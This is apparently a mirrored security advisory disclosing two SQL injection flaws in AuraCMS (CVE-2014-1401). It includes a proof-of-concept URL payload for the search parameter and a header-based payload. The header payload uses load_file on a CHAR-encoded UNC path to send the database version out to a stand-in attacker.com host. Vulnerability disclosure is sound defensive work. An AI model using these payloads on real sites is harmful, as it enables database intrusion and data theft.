Lucene search

K
htbridgeHigh-Tech BridgeHTB23196
HistoryJan 08, 2014 - 12:00 a.m.

Multiple SQL Injection Vulnerabilities in AuraCMS

2014-01-0800:00:00
High-Tech Bridge
www.htbridge.com
45

EPSS

0.003

Percentile

69.1%

High-Tech Bridge Security Research Lab discovered two SQL injection vulnerabilities in AuraCMS, which can be exploited to alter SQL queries and execute arbitrary SQL commands in application’s database.

  1. Multiple SQL Injection Vulnerabilities in AuraCMS: CVE-2014-1401
    1.1 The vulnerability exists due to insufficient validation of β€œsearch” HTTP GET parameter passed to β€œ/index.php” script. A remote authenticated attacker can execute arbitrary SQL commands in application’s database.
    The exploitation example below displays version of MySQL server:
    http://[host]/index.php?mod=content&action=search&search=1%27%29%2f**%2funio n%2f**%2fselect%201,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15%20–%202

1.2 The vulnerability exists due to insufficient validation of β€œCLIENT_IP”, β€œX_FORWARDED_FOR”, β€œX_FORWARDED”, β€œFORWARDED_FOR”, β€œFORWARDED” HTTP headers in β€œ/index.php” script. A remote authenticated attacker can execute arbitrary SQL commands in application’s database.
The exploitation example below displays version of MySQL server:
GET / HTTP/1.1
CLIENT_IP: β€˜),(’',(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107) ,CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102 ),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))) – 2